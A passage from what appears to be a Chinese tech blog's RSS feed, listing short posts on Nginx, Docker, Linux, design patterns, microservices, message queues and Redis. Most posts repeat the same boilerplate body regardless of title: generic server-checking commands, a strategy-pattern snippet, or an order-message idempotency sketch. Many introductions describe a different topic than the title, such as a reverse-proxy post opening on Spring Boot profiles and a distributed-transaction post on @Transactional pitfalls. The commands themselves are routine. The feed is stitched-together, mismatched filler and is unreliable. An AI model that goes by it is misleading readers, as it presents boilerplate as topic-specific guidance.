  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx Nginx 静态资源缓存配置 //nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/ Nginx 静态资源缓存配置

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx Nginx 反向代理配置入门 //nginx-fan-xiang-dai-li-pei-zhi-ru-men/ Nginx 反向代理配置入门

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 容器健康检查为什么重要 //rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/ 容器健康检查为什么重要

容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker docker compose 部署单机服务 //docker-compose-bu-shu-dan-ji-fu-wu/ docker compose 部署单机服务

Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Docker 容器日志和数据卷实践 //docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/ Docker 容器日志和数据卷实践

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Dockerfile 分层缓存和镜像优化 //dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/ Dockerfile 分层缓存和镜像优化

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Linux 文件权限和用户组理解 //linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/ Linux 文件权限和用户组理解

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux crontab 定时任务从配置到排查 //crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/ crontab 定时任务从配置到排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux systemd 服务管理入门 //systemd-fu-wu-guan-li-ru-men/ systemd 服务管理入门

systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux Linux 查看日志的几种方法 //linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/ Linux 查看日志的几种方法

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux Linux 磁盘空间占满排查流程 //linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/ Linux 磁盘空间占满排查流程

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 责任链模式在审批和过滤器中的应用 //ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/ 责任链模式在审批和过滤器中的应用

责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 模板方法模式适合流程固定的业务 //mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/ 模板方法模式适合流程固定的业务

模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 策略模式替代大量 if else //ce-lue-mo-shi-ti-dai-da-liang-if-else/ 策略模式替代大量 if else

策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 工厂模式如何降低创建复杂度 //gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/ 工厂模式如何降低创建复杂度

工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 单例模式的线程安全写法 //dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/ 单例模式的线程安全写法

单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 接口版本管理和灰度发布思路 //jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/ 接口版本管理和灰度发布思路

接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud OpenFeign 调用超时和重试配置 //openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/ OpenFeign 调用超时和重试配置

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 网关在微服务里承担什么职责 //wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/ 网关在微服务里承担什么职责

API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 服务注册发现的基本流程 //fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/ 服务注册发现的基本流程

服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 配置中心解决了什么问题 //pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/ 配置中心解决了什么问题

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 限流熔断降级的区别和落地 //xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/ 限流熔断降级的区别和落地

限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 限流：控制入口流量，保护系统不被压垮

  2. 熔断：快速失败，防止级联故障

  3. 降级：牺牲非核心功能，保障核心服务

  4. 常用的限流算法：令牌桶、漏桶、滑动窗口

总结

限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。

]]> 分布式 分布式 架构 分布式事务为什么难 //fen-bu-shi-shi-wu-wei-shi-me-nan/ 分布式事务为什么难

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> 分布式 分布式 架构 接口幂等性设计从业务开始 //jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/ 接口幂等性设计从业务开始

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 分布式 ID 生成方案怎么选 //fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/ 分布式 ID 生成方案怎么选

分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 延迟队列的业务场景和实现思路 //yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/ 延迟队列的业务场景和实现思路

延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息丢失问题从生产到消费排查 //xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/ 消息丢失问题从生产到消费排查

消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息重复消费如何保证幂等 //xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/ 消息重复消费如何保证幂等

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息队列为什么能削峰填谷 //xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/ 消息队列为什么能削峰填谷

消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 消息队列的核心价值：异步处理、解耦、削峰填谷

  2. 常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别

  3. 消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认

  4. 消息重复消费的处理：幂等性设计

总结

消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。

]]> 消息队列 架构 消息队列 Redis 大 key 和热 key 排查 //redis-da-key-he-re-key-pai-cha/ Redis 大 key 和热 key 排查

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 持久化 RDB 和 AOF 怎么选 //redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/ Redis 持久化 RDB 和 AOF 怎么选

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

